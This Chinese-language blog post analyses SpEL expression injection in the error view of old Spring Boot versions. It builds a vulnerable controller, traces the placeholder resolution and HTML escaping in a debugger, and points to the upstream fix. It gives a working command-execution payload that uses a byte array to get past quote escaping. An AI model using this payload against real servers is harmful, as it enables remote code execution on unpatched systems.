前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Spring Boot SpEL表达式注入

Spring Boot SpEL表达式注入

作者头像
Al1ex
发布2024-12-27 20:43:18
发布2024-12-27 20:43:18
10900
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
文章前言

Spring表达式语言(Spring Expression Language,简称SpEL)是一种功能强大的表达式语言,它可以用于在Spring配置中动态地访问和操作对象属性、调用方法、执行计算等,SPEL的设计目标是让Spring应用程序中的bean配置和运行时操作更加灵活和可扩展,其语法和OGNL、MVEL等表达式语法类似,本篇文章主要用于填补JAVA安全系列中的SPEL表达式注入专题

漏洞描述

在SpringBoot的低版本中错误处理时由于编码错误导致SpEL表达式漏洞,影响范围为1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

环境构建

项目pom.xml中依赖如下所示:

代码语言:javascript
代码运行次数:0
运行
复制
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-web -->
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
      <version>1.2.0.RELEASE</version>
    </dependency>

编写一个controller

代码语言:javascript
代码运行次数:0
运行
复制
package org.spelstudy;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;

import java.io.IOException;

@Controller
public class SpELSecController {
    @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
    public String index(String string) throws IOException {
        throw new IllegalStateException(string);
    }
}

运行项目并传递SpEL表达式可以看到成功执行:

调试分析

我们在上面简易测试的基础上构造如下payload:

代码语言:javascript
代码运行次数:0
运行
复制
string=${new java.lang.ProcessBuilder("calc").start()}

执行之后并没有我们预期的弹出计算器而是在控制台抛出了一大推的错误信息:

调用栈如下所示:

代码语言:javascript
代码运行次数:0
运行
复制
2024-12-03 17:17:24.735 ERROR 16580 --- [nio-8080-exec-9] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet dispatcherServlet threw exception

org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
  at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
  at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
  at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
  at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
  at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
  at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
  at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
  at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
  at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
  at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
  at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:725)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:291)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:721)
  at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:468)
  at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:391)
  at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:318)
  at org.apache.catalina.core.StandardHostValve.custom(StandardHostValve.java:433)
  at org.apache.catalina.core.StandardHostValve.status(StandardHostValve.java:299)
  at org.apache.catalina.core.StandardHostValve.throwable(StandardHostValve.java:393)
  at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:174)
  at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79)
  at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88)
  at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:537)
  at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085)
  at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658)
  at org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler.process(Http11NioProtocol.java:222)
  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1556)
  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1513)
  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
  at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
  at java.lang.Thread.run(Thread.java:748)

2024-12-03 17:17:24.737 ERROR 16580 --- [nio-8080-exec-9] o.a.c.c.C.[Tomcat].[localhost]           : Exception Processing ErrorPage[errorCode=0, location=/error]

org.springframework.web.util.NestedServletException: Request processing failed; nested exception is org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
  at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:978)
  at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
  at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842)
  at javax.servlet.http.HttpServlet.service(HttpServlet.java:725)
  at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:291)
  at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
  at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:721)
  at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:468)
  at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:391)
  at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:318)
  at org.apache.catalina.core.StandardHostValve.custom(StandardHostValve.java:433)
  at org.apache.catalina.core.StandardHostValve.status(StandardHostValve.java:299)
  at org.apache.catalina.core.StandardHostValve.throwable(StandardHostValve.java:393)
  at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:174)
  at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79)
  at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88)
  at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:537)
  at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085)
  at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658)
  at org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler.process(Http11NioProtocol.java:222)
  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1556)
  at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1513)
  at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
  at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
  at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
  at java.lang.Thread.run(Thread.java:748)
Caused by: org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
  at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
  at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
  at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
  at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
  at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
  at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
  at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
  at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
  at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
  at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
  at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
  at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
  at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
  ... 26 common frames omitted

随后我们在org.springframework.web.servlet.DispatcherServlet.render渲染处理处下断点进行调试分析:

在这里会先获取View对象(从调试结果中可以看到实际上获取到的是Spring中自动处理错误的view对象-ErrorMvcAutoConfiguration$SpelView),在这里我们跟进一下view.render方法

这里检查响应的内容类型(Content-Type))是否为空,如果为空则调用getContentType()方法设置响应的内容类型,这通常用于指定返回内容的格式(例如:text/html, application/json等),随后创建一个新的HashMap实例,初始化时传入现有的model映射,紧接着将请求的上下文路径(即应用程序的根路径)添加到map中以便在渲染时使用,在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result:

随后跟进paseStringValue方法

paseStringValue中我们可以重点关注一下这里的strVal

末尾的message前面的内容就是报错内容,这里的逻辑就是在返回的页面内容找到{,这一步其实就是为了找到需要替换的位置,为替换成后面的参数做准备,然后进入while循环中循环解析{xxx}的表达式,这里意思也很明显找到了需要替换的位置然后把具体的值替换到result中, 而result是StringBuilder类,所以替换其中的字符串自然要用replace方法,随后可以看到我们熟悉的SpEL表达式,而且是从context中获取message,而这也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法随后看到propVal是从palaceholder随后可以看到我们熟悉的SpEL表达式,而且是从context中获取message,而这也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法Resovler.resolvePlaceholder中获取的,我们紧接着再次跟进一下resolvePlaceholder方法

随后可以看到我们熟悉的SpEL表达式,而且是从context中获取message,而这也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法

这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,随后将替换后的字符添加到最后的输出中,继续跟进一下convertToReference方法

从下面可以看到这里对单双引号、尖括号和&进行了转义操作

在propVal值为${2*2}时就会和之前的解析表达式流程一样再进行一次SPEL表达式解析

这里由于SpEL返回值时进行了一次HTML编码,所以导致取出的${message}值时会进行一次转义,由于不能出现单双引号,所以借助一些String类的特性——传入byte数组,得改之后的有效载荷如下:

代码语言:javascript
代码运行次数:0
运行
复制
#原先载荷
string=${new java.lang.ProcessBuilder("calc").start()}

#新的载荷
string=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
修复方案

在高版本中处理传入的参数时不会循环根据{}去找值,从而避免了利用message获取到抛出的错误内容后将内容再根据{}取得其中的值丢给SpEL执行,从而消除了这种威胁

https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

参考连接

https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 漏洞描述
  • 环境构建
  • 调试分析
  • 修复方案
  • 参考连接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档